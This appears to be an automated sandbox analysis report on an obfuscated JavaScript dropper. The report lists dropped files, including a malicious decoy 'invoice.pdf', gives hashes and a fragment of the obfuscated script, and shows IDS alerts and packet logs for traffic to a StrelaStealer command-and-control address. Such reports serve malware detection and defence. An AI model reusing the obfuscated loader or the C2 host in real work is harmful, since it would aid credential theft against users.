SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e68ddc7f-8fb4-432d-94bf-e6ae3131c5ad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\faa44771-e81a-47d6-99b3-d6dd88820e23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16667), with CRLF line terminators
Entropy (8bit):	4.886962162940132
TrID:
File name:	305861283730376077.js
File size:	20'006 bytes
MD5:	2f9b184eb1057b6f4985dc63be13ef34
SHA1:	aa65899d815237362480d5817c86646b8934cba2
SHA256:	cf06c28fc0e6ceb889cb6accd6a3b3cbc757f0dab22b10e7283ee409ea23e3fd
SHA512:	5ad76951f111932df6bfaaef1d234bae6ad00342217a533b6e1f9d5c856f2531e92ba69ae18e24a2b94a8eaa5b669be51c26badb91fe30c43826739370121b73
SSDEEP:	384:XpMW5HfjDweIHpX4ubeXNaEBsbf4JEGEv9bZH1qomtO:aWxDuH6ueXNazbgJEGEgXA
TLSH:	C7927659E9418A1F5ED4813E169B64F4387D434D9AB72BB80081B87D234C1B73AFE2F9
File Content Preview:	function fxpxxgyft(){ghxivi=[1031,3079,5127,4103,2055,3072];var gpqix=this[gheazxbg+wdmcv+kqddi+zpsay+wuzhmz+qgchifggv+jhcsj+rrtviqh](this[yloxvzcoz+kacqo+soajg+kqddi+hohygq+gheazxbg+rrtviqh][bzsbayl+kqddi+wuzhmz+wdmcv+rrtviqh+wuzhmz+cthssvtj+afabm+yumoqk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:27:13.157606+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49742	193.143.1.205	80	TCP
2025-01-11T09:27:13.157606+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49742	193.143.1.205	80	TCP
2025-01-11T09:27:15.776294+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49758	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:27:12.363960981 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:12.368848085 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:12.368943930 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:12.372996092 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:12.377748013 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157471895 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157504082 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157516003 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157592058 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157603979 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157605886 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.157658100 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.157681942 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157723904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157738924 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157776117 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.157776117 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.157814980 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157826900 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.157870054 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.162425041 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.208782911 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.208796024 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.208934069 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.277791977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.277981043 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278083086 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.278258085 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278264046 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278270006 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278275967 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278314114 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278318882 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.278320074 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278332949 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278352022 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.278728008 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278733969 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278784037 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.278862953 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278908968 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278922081 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.278949022 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.278994083 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279000998 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279017925 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.279047966 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.279769897 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279777050 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279799938 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279807091 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279818058 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.279819965 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.279860020 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.280540943 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.280565023 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.280587912 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.282960892 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.282974005 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.283013105 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.341666937 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.341677904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.341690063 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.341725111 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.365607023 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.365736008 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.398474932 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398489952 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398503065 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398526907 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398535013 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398539066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398557901 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.398596048 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.398654938 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398662090 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398673058 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398740053 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.398787022 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398799896 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.398850918 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.398955107 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399005890 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399013042 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399059057 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.399082899 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399090052 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399131060 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.399285078 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399359941 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399367094 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399415970 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.399486065 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399492979 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399507046 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399544954 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.399775028 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399811983 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399823904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399856091 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.399912119 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399919033 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.399957895 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.400088072 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400094032 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400105953 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400119066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400125027 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400146961 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.400157928 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.400218010 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400224924 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400281906 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.400742054 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400779009 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400784969 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400818110 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.400976896 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400983095 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.400995970 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.401006937 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.401015997 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.401026011 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.401036978 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.401067019 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.428800106 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.428812027 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.428823948 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.428833008 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.428950071 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.451237917 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.451246023 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.451327085 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.452037096 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.452043056 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.452054024 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.452100992 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.485204935 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.485215902 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.485282898 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.518697977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518706083 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518713951 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518763065 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.518775940 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518829107 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.518873930 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518878937 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.518924952 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.518975019 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519025087 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519032001 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519057989 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519083023 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519109964 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519134045 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519140005 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519182920 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519268990 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519330978 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519336939 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519381046 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519402981 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519407988 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519463062 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519539118 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519546032 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519557953 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519594908 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519666910 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519675970 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519720078 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.519872904 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519879103 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519891977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.519932032 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520045996 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520054102 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520066023 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520078897 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520086050 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520096064 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520128012 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520175934 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520183086 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520190954 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520237923 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520488977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520515919 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520523071 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520560026 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520631075 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520637035 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520649910 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520663977 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520701885 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520714998 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520780087 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520786047 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520817041 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520823956 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520833969 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520838022 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520852089 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520875931 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520930052 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.520952940 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.520958900 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521008968 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.521466017 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521476030 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521490097 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.521527052 CET	49742	80	192.168.2.9	193.143.1.205
